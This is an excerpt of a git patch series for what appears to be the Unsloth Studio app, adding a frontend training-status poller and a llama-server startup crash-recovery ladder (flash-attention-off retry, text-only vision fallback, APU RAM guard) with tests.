+            push_to_hub: pushToHub,
+            repo_id: params.repoId,
+            hf_token: params.token,
+            private: params.privateRepo,
+          }),
+        );
+        lastOutputPath = outputPath;
+      }
+      if (!isCurrent()) return;
+
+      set({
+        phase: "success",
+        isExporting: false,
+        reconnecting: false,
+        result: { outputPath: lastOutputPath, destination: params.destination },
+      });
+    } catch (err) {
+      if (!isCurrent()) return;
+      if (get().cancelRequested || err instanceof ExportCanceledError) {
+        set({
+          phase: "canceled",
+          isExporting: false,
+          reconnecting: false,
+          error: null,
+        });
+      } else {
+        set({
+          phase: "error",
+          isExporting: false,
+          reconnecting: false,
+          error: err instanceof Error ? err.message : "Export failed",
+        });
+      }
+    } finally {
+      // Cleanup is best-effort and runs after the terminal phase is set, so it
+      // does not gate the success banner. Only the run that still owns the
+      // store releases ownership and frees the worker.
+      if (isCurrent()) {
+        try {
+          await cleanupExport();
+        } catch {
+          // ignore
+        }
+        if (isCurrent()) {
+          set({ ownsRun: false });
+        }
+      }
+    }
+  },
+}));
+
+/**
+ * Map the run phase to a 0-100 progress value. There is no byte-level signal
+ * from llama.cpp / the HF uploader, so progress is phase + quant-index based:
+ * loading occupies a small head band, the export body advances per completed
+ * GGUF quant, and success pins to 100.
+ */
+export function selectExportProgressPercent(state: ExportRuntimeStore): number {
+  const total = Math.max(1, state.quantTotal);
+  const exportBand = () => {
+    const done = Math.min(Math.max(state.quantIndex, 0), total);
+    return Math.round(15 + (done / total) * 72); // 15..87
+  };
+  switch (state.phase) {
+    case "idle":
+      return 0;
+    case "loading":
+      return 8;
+    case "exporting":
+      return exportBand();
+    case "success":
+      return 100;
+    case "error":
+    case "canceled":
+      // Freeze near where it stopped so the bar does not snap back to 0.
+      return Math.max(8, exportBand());
+    default:
+      return 0;
+  }
+}
+
+/** Whether the inline run panel should be visible (a run is active or terminal). */
+export function isExportPanelActive(state: ExportRuntimeStore): boolean {
+  return state.isExporting || state.phase !== "idle";
+}
diff --git a/studio/frontend/src/features/training/hooks/use-training-completion-watch.ts b/studio/frontend/src/features/training/hooks/use-training-completion-watch.ts
new file mode 100644
index 0000000000..ab4388d4b9
--- /dev/null
+++ b/studio/frontend/src/features/training/hooks/use-training-completion-watch.ts
@@ -0,0 +1,45 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { useEffect } from "react";
+
+import { getTrainingStatus } from "../api/train-api";
+import { useTrainingRuntimeStore } from "../stores/training-runtime-store";
+
+const WATCH_INTERVAL_MS = 6000;
+
+/**
+ * Keep training state fresh while a run is active, even off the Train page.
+ *
+ * The lifecycle poll (`useTrainingRuntimeLifecycle`) only runs while Train is
+ * mounted, so a run finishing while the user is on another tab would leave the
+ * sidebar spinner stuck. This polls `/api/train/status` only while a run is in
+ * progress (no traffic when idle). Mount once in an always-rendered shell.
+ */
+export function useTrainingCompletionWatch(): void {
+  const active = useTrainingRuntimeStore(
+    (s) => s.isTrainingRunning || s.isStarting,
+  );
+
+  useEffect(() => {
+    if (!active) return;
+    let cancelled = false;
+
+    const tick = async () => {
+      try {
+        const status = await getTrainingStatus();
+        if (!cancelled) {
+          useTrainingRuntimeStore.getState().applyStatus(status);
+        }
+      } catch {
+        // Transient network/auth hiccup; the next tick retries.
+      }
+    };
+
+    const id = window.setInterval(tick, WATCH_INTERVAL_MS);
+    return () => {
+      cancelled = true;
+      window.clearInterval(id);
+    };
+  }, [active]);
+}
diff --git a/studio/frontend/src/features/training/index.ts b/studio/frontend/src/features/training/index.ts
index 05f882184f..5157d89582 100644
--- a/studio/frontend/src/features/training/index.ts
+++ b/studio/frontend/src/features/training/index.ts
@@ -9,6 +9,7 @@ export {
 export { useTrainingActions } from "./hooks/use-training-actions";
 export { useTrainingHistorySidebarItems } from "./hooks/use-training-history-sidebar";
 export { useTrainingRuntimeLifecycle } from "./hooks/use-training-runtime-lifecycle";
+export { useTrainingCompletionWatch } from "./hooks/use-training-completion-watch";
 export {
   removeTrainingUnloadGuard,
   useTrainingUnloadGuard,
diff --git a/studio/frontend/src/i18n/locales/en.ts b/studio/frontend/src/i18n/locales/en.ts
index 9b32c22dde..5f7e5b6644 100644
--- a/studio/frontend/src/i18n/locales/en.ts
+++ b/studio/frontend/src/i18n/locales/en.ts
@@ -32,6 +32,7 @@ export const en = {
     },
     navigation: {
       newChat: "New Chat",
+      returnToChat: "Return to Chat",
       compare: "Compare",
       search: "Search",
       hub: "Hub",
diff --git a/studio/frontend/src/i18n/locales/zh-CN.ts b/studio/frontend/src/i18n/locales/zh-CN.ts
index c98ff794bd..c87ea1b312 100644
--- a/studio/frontend/src/i18n/locales/zh-CN.ts
+++ b/studio/frontend/src/i18n/locales/zh-CN.ts
@@ -32,6 +32,7 @@ export const zhCN = {
     },
     navigation: {
       newChat: "新聊天",
+      returnToChat: "返回聊天",
       compare: "对比",
       search: "搜索",
       hub: "Hub",

From 6d27160dccc86bc7fe17aabb00b50b519a3aea07 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Thu, 18 Jun 2026 09:07:25 -0700
Subject: [PATCH 82/91] Studio: graceful recovery ladder when llama-server
 hard-crashes at startup (#6291)

* Studio: fall back to text-only when a vision projector hard-crashes llama-server

The text-only mmproj fallback (#6075) only fired when llama-server printed a
recognizable projector-format error ("Unknown projector type", exit -6). An
installed llama.cpp that predates a model's projector can instead SIGSEGV
(exit -11) with no parseable output, e.g. unsloth/Qwen3.5-4B-MTP-GGUF +
mmproj-F16 on an older gfx1151 prebuilt: llama-server crashes on load, the
--fit off retry crashes the same way, and load_model gives up with a hard 500
instead of dropping vision.

Generalize the decision: a vision (--mmproj) launch killed by a signal (POSIX
returncode < 0, e.g. -11 SIGSEGV / -6 SIGABRT; Windows 0xC0000000+ access
violation) is treated like a projector incompatibility, so the load retries
once text-only. The retry is skipped if a cancel/unload is pending, mirroring
the MTP guard. Clean non-zero exits (bad GGUF, port bind) and hung processes
keep their own handling; non-vision launches are unaffected.

Reproduced and verified on gfx1151 (Radeon 8060S, ROCm 7.2.1): a current
prebuilt (llama.cpp b9596) loads the exact model + args fine, confirming the
crash is a stale prebuilt. With a wrapper that SIGSEGVs on --mmproj, Studio now
recovers: the load returns 200 (is_vision=false) and serves at ~31 tok/s
text-only instead of failing. New _is_signal_crash helper plus tests pin the
decision.

Also normalize a few em-dashes to ASCII punctuation in existing comments.

* Studio: refine mmproj hard-crash fallback (signal scope + last argv)

- Limit _is_signal_crash to genuine program faults (SIGSEGV, SIGABRT,
  SIGILL, SIGFPE, SIGBUS) and Windows 0xC0000000+ statuses. SIGKILL,
  SIGTERM and SIGINT no longer count, so an OOM-killer, unload or
  supervisor kill is not masked as a projector incompatibility.
- Strip --mmproj from the last attempted argv so the text-only retry
  keeps --fit off / --spec-default instead of resurrecting the original
  spec flags (matters for MTP vision models on an older llama.cpp).
- Drop stray temp files committed by mistake and gitignore the "~" dir
  so they cannot be re-added.

* Studio: tighten comments in mmproj hard-crash fallback

* Studio: retry --flash-attn off before dropping vision on a startup crash

When llama-server hard-crashes at startup, the recovery chain now tries the
least-destructive mitigation first. Flash-attention kernels SIGSEGV at load on
some ROCm/GPU builds (often inside the vision tower's attention); disabling
flash attention keeps BOTH vision and MTP, so a hard program fault with
--flash-attn on now retries once with --flash-attn off before the MTP-drop or
the text-only (mmproj-strip) fallbacks. _is_signal_crash already gates this to
genuine faults (SIGSEGV/SIGABRT/SIGILL/SIGFPE/SIGBUS), so an OOM-kill or unload
(SIGKILL/SIGTERM/SIGINT) does not trigger a retry.

Field context: a gfx1151 user crashes loading a vision GGUF even on the latest
prebuilt, so an update cannot help, and the same model and args load fine on
another gfx1151 box, pointing at a runtime/flash-attn fault. New
_with_flash_attn_off helper plus tests. Verified on hardware with a wrapper
that SIGSEGVs on --flash-attn on: Studio recovers with is_vision=true (vision
and MTP intact) instead of failing or losing vision.

* Studio: name the OOM kill on a too-large model load

When the OS kills llama-server with no diagnostic output (SIGKILL/SIGTERM,
almost always the OOM killer, e.g. a BF16 model too large for the WSL VM's
RAM cap), the recovery ladder correctly does not retry an external kill, so
this is the message the user sees. It fell through to the generic "is the
GGUF valid / out of memory" text. Make it actionable: name the signal and
point at a smaller or more quantized GGUF, a lower context length, or raising
the WSL memory limit. Output-based diagnoses still win and a hard fault keeps
the generic fallback.

* Studio: refuse a model too large for system RAM on a unified-memory APU

On gfx1150/gfx1151 APUs the weights load into shared system RAM (GGML
unified memory). _get_gpu_free_memory reports the full ROCm/APU budget as
free (often ~100 GB), but under WSL the VM's RAM cap is the real ceiling.
Studio trusted the budget, spawned a load larger than RAM, and the OS killed
it mid-flight, taking the Studio process with it (a silent "Terminated" with
no error, the model resident in RAM not VRAM).

Add a pre-flight guard on the APU path: if the weights exceed available
system RAM (psutil, then /proc/meminfo), refuse before spawning with a clear
message (smaller/more-quantized GGUF, lower context, or raise the WSL memory
limit). Weights only so KV/context auto-reduction is not double-counted;
unknown RAM never refuses; non-APU and discrete-GPU paths are untouched.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: refine recovery ladder (keep diagnosed errors, flip all flash-attn)

Two review points on the hard-crash recovery ladder:

1. The signal-only text-only fallback stripped --mmproj on any hard fault,
   even when llama-server had already printed a non-projector cause (an OOM
   such as "cudaMalloc failed: out of memory", an unsupported architecture, or
   a tensor-parallel limit). That masked the real error and told the user to
   update llama.cpp for vision. New _output_has_nonprojector_diagnostic gates
   the signal path: it fires only when no such marker is present, so a bare
   SIGSEGV with no output still retries text-only, but a diagnosed OOM surfaces
   the real error instead of silently dropping vision.

2. _with_flash_attn_off only flipped the first --flash-attn. llama.cpp is
   last-wins, so a leftover enable from extra_args (--flash-attn on, -fa on, or
   the = form) could keep flash attention on and re-crash the retry. It now
   flips every occurrence and returns None only when nothing is flippable.

test_llama_cpp_mmproj_fallback.py and the classification/APU suites: 103 passed.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: pass the text-only retry's exit code to the failure classifier

When the text-only fallback retry itself fails, read its exit code before
_kill_process() clears it and forward it to _classify_llama_start_failure, so an
OS-killed retry surfaces the actionable out-of-memory message instead of the
generic one (matching the primary failure path).

* Studio: scope APU RAM guard to selected GPUs, count MTP drafter, neutral SIGTERM

Three refinements to the startup recovery work in this PR:

- The unified-memory APU RAM guard fired whenever any visible GPU was a
  gfx1150/gfx1151 APU, so on a mixed APU+dGPU host it could refuse a valid
  load placed on the discrete GPU. Scope _amd_apu_wants_unified_memory to the
  selected gpu_indices (physical ids, mapped via CUDA_VISIBLE_DEVICES like
  _is_datacenter_gpu); None still means every visible GPU. Applied to both the
  RAM guard and the GGML_CUDA_ENABLE_UNIFIED_MEMORY env set.
- The RAM guard counted only the main GGUF plus mmproj, so a separate MTP
  drafter (also resident in unified system RAM, even when offloaded to CPU)
  could push the load past the RAM cap and still get OS-killed mid-load. Add
  the drafter weights to the APU RAM total.
- The startup classifier reported SIGTERM (-15) as 'most likely out of memory',
  but SIGTERM is also how an unload/cancel or a supervisor stops the server.
  Keep the OOM wording for SIGKILL (-9, the OOM killer) and report -15
  neutrally.

Tests updated/added accordingly.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: address review on the APU guard and decode-probe ladder

- Map APU physical ids via the active ROCm mask (HIP, then ROCR, then CUDA),
  mirroring _get_gpu_memory, so a HIP_VISIBLE_DEVICES-selected APU is matched.
- Only add the MTP drafter to the APU RAM total when MTP will actually engage,
  so a stale LLAMA_ARG_SPEC_DRAFT_MODEL cannot refuse a non-MTP load.
- After an MTP first-decode hard fault, retry --flash-attn off (keeps MTP)
  before dropping speculative decoding, matching the startup rung.
- Fold the --flash-attn= / -fa= rewrite into one branch.

Tests: tensor-parallel decode-probe assertion updated for the FA-off rung.

* Studio: tighten two comments in the APU guard and RAM preflight

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: refine flash-attn retry and APU RAM guard per review

- _with_flash_attn_off now decides on the effective last-wins value: it returns
  None when FA is already off (no wasted retry), and neutralizes a bare
  --flash-attn / -fa (which llama.cpp reads as on) so the retry cannot re-enable
  it. Length is preserved so downstream index slices stay valid.
- _amd_apu_wants_unified_memory uses 'gpu_indices is not None' so an empty
  selection is respected (not treated as all-visible).
- The APU RAM refusal now checks the base model only (main + mmproj); an
  optional MTP drafter is dropped by the existing MTP-drop fallback rather than
  causing a hard pre-spawn refusal of an otherwise loadable model.

Tests: bare-flag / effective-off / empty-selection / HIP-mask cases added.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 .gitignore                                    |   2 +
 studio/backend/core/inference/llama_cpp.py    | 276 ++++++++++++++++--
 .../tests/test_amd_apu_unified_memory.py      |  60 ++++
 .../tests/test_llama_cpp_mmproj_fallback.py   | 150 ++++++++++
 ..._llama_cpp_start_failure_classification.py |  32 ++
 studio/backend/tests/test_tensor_parallel.py  |  10 +-
 6 files changed, 504 insertions(+), 26 deletions(-)

diff --git a/.gitignore b/.gitignore
index a839633790..9f7d4b8c60 100644
--- a/.gitignore
+++ b/.gitignore
@@ -235,3 +235,5 @@ package-lock.json
 !studio/backend/core/data_recipe/oxc-validator/package-lock.json
 !studio/package-lock.json
 llama.cpp/
+# Stray "~" dir some tools create from a literal ~ TMPDIR; never part of the repo.
+/~/
diff --git a/studio/backend/core/inference/llama_cpp.py b/studio/backend/core/inference/llama_cpp.py
index 16a401d115..92cc2c748c 100644
--- a/studio/backend/core/inference/llama_cpp.py
+++ b/studio/backend/core/inference/llama_cpp.py
@@ -1147,9 +1147,9 @@ class LlamaCppBackend:
     """Manages a llama-server subprocess for GGUF model inference.
 
     Lifecycle:
-        1. load_model() — start llama-server with the GGUF file
-        2. generate_chat_completion() — proxy to /v1/chat/completions, stream back
-        3. unload_model() — terminate the subprocess
+        1. load_model(): start llama-server with the GGUF file
+        2. generate_chat_completion(): proxy to /v1/chat/completions, stream back
+        3. unload_model(): terminate the subprocess
     """
 
     def __init__(self):
@@ -1879,11 +1879,12 @@ class LlamaCppBackend:
         return total
 
     @staticmethod
-    def _amd_apu_wants_unified_memory() -> bool:
+    def _amd_apu_wants_unified_memory(gpu_indices = None) -> bool:
         """True only for AMD unified-memory APUs (gfx1150/gfx1151), where
-        GGML_CUDA_ENABLE_UNIFIED_MEMORY lets llama.cpp use shared system RAM.
-        False elsewhere (the env hurts discrete GPUs). ROCm reuses torch.cuda.*;
-        gcnArchName suffix is stripped."""
+        GGML_CUDA_ENABLE_UNIFIED_MEMORY lets llama.cpp use shared system RAM (it
+        hurts discrete GPUs). gpu_indices (PHYSICAL ids) scopes the check to the
+        selected GPUs, so a dGPU on a mixed host is not treated as unified-memory;
+        None means every visible GPU."""
         try:
             import torch
 
@@ -1891,12 +1892,39 @@ class LlamaCppBackend:
                 return False
             if not (hasattr(torch, "cuda") and torch.cuda.is_available()):
                 return False
-            for _i in range(torch.cuda.device_count()):
+            # Map visible ordinal -> physical id via the active ROCm mask (HIP,
+            # then ROCR, then CUDA), mirroring _get_gpu_memory's ROCm branch.
+            physical_ids: Optional[list[int]] = None
+            hip_v = os.environ.get("HIP_VISIBLE_DEVICES")
+            rocr_v = os.environ.get("ROCR_VISIBLE_DEVICES")
+            cvd = (
+                hip_v
+                if hip_v is not None
+                else rocr_v
+                if rocr_v is not None
+                else os.environ.get("CUDA_VISIBLE_DEVICES")
+            )
+            if cvd is not None:
                 try:
-                    _arch = getattr(torch.cuda.get_device_properties(_i), "gcnArchName", "") or ""
+                    physical_ids = [int(x.strip()) for x in cvd.split(",") if x.strip()]
+                except ValueError:
+                    physical_ids = None
+            arch_by_id: dict[int, str] = {}
+            for ordinal in range(torch.cuda.device_count()):
+                try:
+                    _arch = (
+                        getattr(torch.cuda.get_device_properties(ordinal), "gcnArchName", "") or ""
+                    )
                 except Exception:
                     continue
-                if _arch.split(":")[0].strip().lower() in {"gfx1150", "gfx1151"}:
+                pid = (
+                    physical_ids[ordinal]
+                    if physical_ids is not None and ordinal < len(physical_ids)
+                    else ordinal
+                )
+                arch_by_id[pid] = _arch.split(":")[0].strip().lower()
+            for _i in list(gpu_indices) if gpu_indices is not None else list(arch_by_id):
+                if arch_by_id.get(_i) in {"gfx1150", "gfx1151"}:
                     return True
         except Exception:
             return False
@@ -2130,6 +2158,48 @@ class LlamaCppBackend:
             logger.debug(f"torch GPU probe failed: {e}")
             return []
 
+    @staticmethod
+    def _available_system_memory_mib() -> Optional[int]:
+        """Available system RAM in MiB (psutil, then /proc/meminfo), or None if
+        neither is readable. On a unified-memory APU this, not the ROCm-reported
+        VRAM, is the real ceiling: the weights load into shared system RAM."""
+        try:
+            import psutil
+            return int(psutil.virtual_memory().available // (1024 * 1024))
+        except Exception:
+            pass
+        try:
+            with open("/proc/meminfo") as f:
+                for line in f:
+                    if line.startswith("MemAvailable:"):
+                        return int(line.split()[1]) // 1024  # kB -> MiB
+        except Exception:
+            pass
+        return None
+
+    @staticmethod
+    def _apu_ram_shortfall_message(
+        model_size_bytes: int,
+        avail_mib: Optional[int],
+        headroom_mib: int = 2048,
+    ) -> Optional[str]:
+        """On a unified-memory APU, return a user-facing refusal when the weights
+        cannot fit in available system RAM (else None). Weights only: KV/context
+        auto-reduce, so counting them too would refuse loads that would succeed.
+        None avail (unknown RAM) never refuses."""
+        if avail_mib is None:
+            return None
+        need_mib = model_size_bytes / (1024 * 1024)
+        if need_mib <= avail_mib - headroom_mib:
+            return None
+        return (
+            f"This model needs about {need_mib / 1024:.0f} GB but only about "
+            f"{avail_mib / 1024:.0f} GB of memory is available. On a unified-memory "
+            "APU the weights load into system RAM, so a larger model is stopped by "
+            "the OS mid-load. Use a smaller or more quantized GGUF, or free memory "
+            "(on WSL, raise the memory limit in .wslconfig)."
+        )
+
     # Skip the wait when the last kill is older than this; the driver has
     # already reclaimed the prior process's allocations.
     _VRAM_SETTLE_WINDOW_S: float = 15.0
@@ -3814,7 +3884,10 @@ class LlamaCppBackend:
 
     @staticmethod
     def _classify_llama_start_failure(
-        output: str, gguf_path: Optional[str], model_identifier: Optional[str]
+        output: str,
+        gguf_path: Optional[str],
+        model_identifier: Optional[str],
+        returncode: Optional[int] = None,
     ) -> str:
         """Explain *why* llama-server failed to start, from its output.
 
@@ -3886,6 +3959,24 @@ class LlamaCppBackend:
                     "Ollama instead."
                 )
 
+        # SIGKILL with no diagnostic output is the OOM killer (e.g. a model too
+        # large for the WSL VM's RAM cap); name it actionably.
+        if returncode == -9:
+            return (
+                "llama-server was stopped by the operating system (signal 9), "
+                "most likely out of memory. Try a smaller or more quantized "
+                "GGUF, lower the context length, or free memory (on WSL, raise "
+                "the memory limit in .wslconfig)."
+            )
+        # SIGTERM is also how an unload/cancel or a supervisor stops the server,
+        # so report it neutrally rather than blaming memory.
+        if returncode == -15:
+            return (
+                "llama-server was terminated (signal 15) before it became "
+                "healthy. If you cancelled or unloaded the model this is "
+                "expected; otherwise check the llama-server log for the cause."
+            )
+
         # Fallback: genuinely unknown failure (OOM, missing binary ...).
         return (
             "llama-server failed to start. "
@@ -4064,6 +4155,71 @@ class LlamaCppBackend:
             and ("unknown" in text or "unsupported" in text or "not supported" in text)
         )
 
+    @staticmethod
+    def _output_has_nonprojector_diagnostic(output: str) -> bool:
+        """True when the output already names a concrete non-projector cause (out
+        of memory, an unsupported architecture, a tensor-parallel limit). A hard
+        crash carrying such a marker must surface that error, not be silently
+        retried text-only as if the vision projector were at fault; a bare crash
+        with no marker still gets the text-only retry.
+        """
+        text = (output or "").lower()
+        return any(
+            m in text
+            for m in (
+                "out of memory",
+                "failed to allocate",
+                "unknown model architecture",
+                "split_mode_tensor not implemented",
+            )
+        )
+
+    @staticmethod
+    def _is_signal_crash(returncode: Optional[int]) -> bool:
+        """True only on a hard fault (SIGSEGV/SIGABRT/SIGILL/SIGFPE/SIGBUS or a
+        Windows 0xC0000000+ status), not SIGKILL/SIGTERM/SIGINT (OOM killer /
+        unload) nor a clean exit or still-running (None) process.
+        """
+        if returncode is None:
+            return False
+        if returncode >= 0xC0000000:  # Windows access violation / illegal instruction
+            return True
+        return -returncode in (4, 6, 7, 8, 11)  # SIGILL SIGABRT SIGBUS SIGFPE SIGSEGV
+
+    @staticmethod
+    def _with_flash_attn_off(cmd: list[str]) -> Optional[list[str]]:
+        """Return cmd with flash attention forced off, or None when its effective
+        (last-wins) value is already off/absent so there is nothing to retry. FA
+        kernels hard-crash at startup on some ROCm builds; disabling FA keeps
+        vision and MTP, the least destructive rung. A bare --flash-attn/-fa reads
+        as on, so it counts toward the effective value and is neutralised too;
+        every form is flipped in place (length preserved for downstream slices)."""
+        out = list(cmd)
+
+        def explicit(i):
+            nxt = out[i + 1] if i + 1 < len(out) else None
+            return nxt if nxt in ("on", "auto", "off") else None
+
+        effective = None
+        for i, tok in enumerate(out):
+            if tok.startswith(("--flash-attn=", "-fa=")):
+                effective = tok.partition("=")[2]
+            elif tok in ("--flash-attn", "-fa"):
+                effective = explicit(i) or "on"
+        if effective not in ("on", "auto"):
+            return None
+        for i, tok in enumerate(out):
+            if tok.startswith(("--flash-attn=", "-fa=")):
+                flag, _, value = tok.partition("=")
+                if value in ("on", "auto"):
+                    out[i] = f"{flag}=off"
+            elif tok in ("--flash-attn", "-fa"):
+                if explicit(i) in ("on", "auto"):
+                    out[i + 1] = "off"
+                elif explicit(i) is None:  # bare flag (reads as on) -> explicit off
+                    out[i] = f"{tok}=off"
+        return out
+
     @staticmethod
     def _strip_mmproj_args(cmd: list[str]) -> list[str]:
         """Return cmd without the '--mmproj <path>' pair (text-only retry).
@@ -4488,6 +4644,7 @@ class LlamaCppBackend:
                         "Vision-capable GGUF loaded without a usable mmproj; "
                         "image input will be disabled for this session"
                     )
+                model_size = None  # set in the fit try; used by the APU RAM guard
                 try:
                     gguf_size = self._get_gguf_size_bytes(model_path)
                     # Include GPU-loaded mmproj in the fit budget (#5825).
@@ -5069,6 +5226,17 @@ class LlamaCppBackend:
                     tp_tensor_split = None
                     effective_ctx = requested_ctx  # fall back to original
 
+                # Unified-memory APUs load weights into system RAM (under WSL the VM
+                # cap, not the ROCm-reported VRAM, is the real ceiling); refuse an
+                # oversize load the OS would otherwise kill mid-flight. Base model
+                # only: an optional MTP drafter is dropped by the MTP-drop fallback.
+                if model_size is not None and self._amd_apu_wants_unified_memory(gpu_indices):
+                    _ram_msg = self._apu_ram_shortfall_message(
+                        model_size, self._available_system_memory_mib()
+                    )
+                    if _ram_msg:
+                        raise RuntimeError(_ram_msg)
+
                 # Audio input straight from the mmproj (clip.has_audio_encoder),
                 # independent of token names.
                 self._mmproj_has_audio = False
@@ -5368,7 +5536,7 @@ class LlamaCppBackend:
 
                 # AMD unified-memory APUs (gfx1150/gfx1151): let llama.cpp use
                 # shared system RAM. setdefault so a user value wins.
-                if self._amd_apu_wants_unified_memory():
+                if self._amd_apu_wants_unified_memory(gpu_indices):
                     env.setdefault("GGML_CUDA_ENABLE_UNIFIED_MEMORY", "1")
                     logger.info("AMD unified-memory APU: set GGML_CUDA_ENABLE_UNIFIED_MEMORY=1")
 
@@ -5419,6 +5587,9 @@ class LlamaCppBackend:
                 # retry once with --fit off before declaring the load failed.
                 # Never retry when fit was requested (use_fit) or the caller
                 # passed an explicit fit flag via extra args.
+                # Argv actually launched (post --fit off / MTP); text-only retry strips this.
+                _last_spawn_cmd = list(cmd)
+
                 def _spawn_and_wait(run_cmd, *, label = ""):
                     """Start llama-server with run_cmd and wait for health.
 
@@ -5426,6 +5597,7 @@ class LlamaCppBackend:
                     crashes during startup and run_cmd is eligible (see
                     _fit_off_retry_eligible).
                     """
+                    nonlocal _last_spawn_cmd
                     _fit_retry_allowed = self._fit_off_retry_eligible(run_cmd, use_fit)
                     for _spawn_attempt in (0, 1):
                         # Defensive kill: drop an orphan Popen a concurrent load may
@@ -5460,6 +5632,7 @@ class LlamaCppBackend:
                             # Best-effort; never block the load on logging.
                             logger.debug(f"Could not open llama-server log file: {e}")
                             self._llama_log_path = None
+                        _last_spawn_cmd = list(run_cmd)
                         self._process = subprocess.Popen(
                             run_cmd,
                             stdout = subprocess.PIPE,
@@ -5527,6 +5700,28 @@ class LlamaCppBackend:
                 )
 
                 healthy = _spawn_and_wait(cmd)
+                # Flash-attention kernels hard-crash at startup on some ROCm/GPU
+                # builds (frequently inside the vision tower). Disabling FA keeps
+                # both vision and MTP, so retry that way before dropping either.
+                # Only on a hard fault with FA on; a cancel/unload stops respawn.
+                if not healthy and not self._cancel_event.is_set():
+                    _fa_rc = self._process.poll() if self._process is not None else None
+                    _fa_cmd = (
+                        self._with_flash_attn_off(_last_spawn_cmd)
+                        if self._is_signal_crash(_fa_rc)
+                        else None
+                    )
+                    if _fa_cmd is not None:
+                        logger.warning(
+                            "llama-server hard-crashed at startup (exit %s) with "
+                            "flash attention on; retrying once with --flash-attn "
+                            "off (keeps vision and MTP).",
+                            _fa_rc,
+                        )
+                        self._kill_process()
+                        cmd = _fa_cmd
+                        healthy = _spawn_and_wait(_fa_cmd, label = "-noflash")
+
                 # MTP from Studio's spec flags or the user's (extra_args
                 # --spec-type / LLAMA_ARG_SPEC_TYPE). The env reaches the child
                 # only when neither emits a spec flag, so consult it only then.
@@ -5553,11 +5748,32 @@ class LlamaCppBackend:
                     and not self._cancel_event.is_set()
                     and not self._probe_mtp_decode()
                 ):
-                    logger.warning(
-                        "MTP speculative decoding crashed on the first decode "
-                        "under tensor parallelism; retrying without it."
+                    # A first-decode hard fault is usually the FA kernel: retry
+                    # FA-off (keeps MTP) before dropping speculative decoding below.
+                    _probe_rc = self._process.poll() if self._process is not None else None
+                    _fa_cmd = (
+                        self._with_flash_attn_off(_last_spawn_cmd)
+                        if self._is_signal_crash(_probe_rc)
+                        else None
                     )
                     healthy = False
+                    if _fa_cmd is not None:
+                        logger.warning(
+                            "MTP first-decode hard-crashed (exit %s) with flash "
+                            "attention on; retrying with --flash-attn off.",
+                            _probe_rc,
+                        )
+                        self._kill_process()
+                        cmd = _fa_cmd
+                        healthy = (
+                            _spawn_and_wait(_fa_cmd, label = "-noflash-mtp")
+                            and self._probe_mtp_decode()
+                        )
+                    if not healthy:
+                        logger.warning(
+                            "MTP speculative decoding crashed on the first decode "
+                            "under tensor parallelism; retrying without it."
+                        )
                 # Any MTP request can abort the server: a separate drafter
                 # (Gemma) on a binary that predates its arch, or an embedded
                 # head (Qwen) the binary cannot build. Retry once with the
@@ -5621,25 +5837,39 @@ class LlamaCppBackend:
                         self._speculative_type = "default"
                         _mtp_active_for_launched_server = False
 
-                # A vision GGUF launched with --mmproj can abort when the
-                # installed llama.cpp is too old for the model's projector
-                # ("Unknown projector type"); in that one case retry once
-                # text-only rather than failing the whole load.
+                # A too-old llama.cpp can reject a model's --mmproj projector
+                # (format message or a bare SIGSEGV); retry once text-only.
                 if not healthy:
                     out = "\n".join(self._stdout_lines[-50:])
+                    # Read the crash code before _kill_process() clears _process.
+                    _crash_rc = self._process.poll() if self._process is not None else None
                     self._kill_process()
-                    if launched_with_mmproj and self._is_projector_incompatibility(out):
+                    # Skip if a cancel/unload is pending (mirrors the MTP guard).
+                    if (
+                        launched_with_mmproj
+                        and not self._cancel_event.is_set()
+                        and (
+                            self._is_projector_incompatibility(out)
+                            or (
+                                self._is_signal_crash(_crash_rc)
+                                and not self._output_has_nonprojector_diagnostic(out)
+                            )
+                        )
+                    ):
                         logger.warning(
                             "llama-server could not load this model's vision "
                             "projector (--mmproj). The installed llama.cpp build is "
                             "likely too old for it. Loading text-only for this "
                             "session; run 'unsloth studio update' to enable vision."
                         )
-                        cmd = self._strip_mmproj_args(cmd)
+                        cmd = self._strip_mmproj_args(_last_spawn_cmd)
                         self._is_vision = False
                         self._mmproj_has_audio = False
                         self._start_llama_process(cmd, env)
                         if not self._wait_for_health(timeout = 600.0):
+                            # Read the exit code before _kill_process() clears it, so
+                            # an OS-killed text-only retry still gets the OOM message.
+                            _retry_rc = self._process.poll() if self._process is not None else None
                             self._kill_process()
                             raise RuntimeError(
                                 "Vision projector incompatible with this llama.cpp "
@@ -5648,6 +5878,7 @@ class LlamaCppBackend:
                                     "\n".join(self._stdout_lines[-50:]),
                                     gguf_path,
                                     self._model_identifier,
+                                    _retry_rc,
                                 )
                             )
                     else:
@@ -5656,6 +5887,7 @@ class LlamaCppBackend:
                                 out,
                                 gguf_path,
                                 self._model_identifier,
+                                _crash_rc,
                             )
                         )
 
@@ -8411,7 +8643,7 @@ class LlamaCppBackend:
                 try:
                     # llama-server's /apply-template renders tool declarations
                     # into the prompt when ``tools`` is supplied, so pass them
-                    # through — otherwise tool-schema tokens go uncounted.
+                    # through, otherwise tool-schema tokens go uncounted.
                     template_body = {"messages": template_messages}
                     if tools:
                         template_body["tools"] = tools
diff --git a/studio/backend/tests/test_amd_apu_unified_memory.py b/studio/backend/tests/test_amd_apu_unified_memory.py
index 104182a232..4df9e85b30 100644
--- a/studio/backend/tests/test_amd_apu_unified_memory.py
+++ b/studio/backend/tests/test_amd_apu_unified_memory.py
@@ -47,6 +47,30 @@ def test_apu_unified_memory_gating(monkeypatch, hip, archs, expected):
     assert LlamaCppBackend._amd_apu_wants_unified_memory() is expected
 
 
+def test_apu_guard_scopes_to_selected_gpu(monkeypatch):
+    # Mixed host: physical id 0 = discrete gfx1100, 1 = gfx1151 APU.
+    for _m in ("HIP_VISIBLE_DEVICES", "ROCR_VISIBLE_DEVICES", "CUDA_VISIBLE_DEVICES"):
+        monkeypatch.delenv(_m, raising = False)
